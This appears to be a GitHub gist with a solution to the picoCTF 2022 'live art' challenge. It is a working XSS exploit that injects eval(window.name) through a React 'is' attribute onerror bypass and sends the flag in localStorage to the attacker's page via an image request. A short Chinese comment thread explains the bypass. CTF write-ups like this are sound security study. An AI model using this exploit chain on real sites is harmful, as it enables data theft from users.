Skip to content

Instantly share code, notes, and snippets.

@maple3142
Created March 30, 2022 00:18
Show Gist options
  • Save maple3142/dacb955a3b8e3660746dbabde4271258 to your computer and use it in GitHub Desktop.
Save maple3142/dacb955a3b8e3660746dbabde4271258 to your computer and use it in GitHub Desktop.
picoCTF 2022 live art
<iframe srcdoc="none" id="frm"></iframe>
<script>
frm.contentWindow.name = `
(new Image()).src = '${location.href}?report=1&flag='+localStorage.username
`.slice(1, -1)
frm.onload = () => {
console.log('loaded 1')
frm.onload = () => {
frm.onload = null
console.log('loaded 2')
setTimeout(() => {
frm.width = 800
frm.height = 400
}, 500)
}
frm.contentWindow.location = 'http://localhost:4000/drawing/peko#is=asd&onerror=eval(window.name)&src=peko'
}
</script>
@Alan-Liang
Copy link

很好奇,这跟 Custom Elements API 又有什么关系?感觉整个利用链完全都是 React 啊……

@maple3142
Copy link
Author

很好奇,这跟 Custom Elements API 又有什么关系?感觉整个利用链完全都是 React 啊……

你可以在 jsx 試看看不加 is,例如:

<img src="abc" onerror="alert(1)">

會直接吃 React 的 warning,然後也不會出現 onerror

如果is的話它就不會對 properties 做其他檢查,直接通過

@Alan-Liang
Copy link

is的話它就不會對 properties 做其他檢查

有意思

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment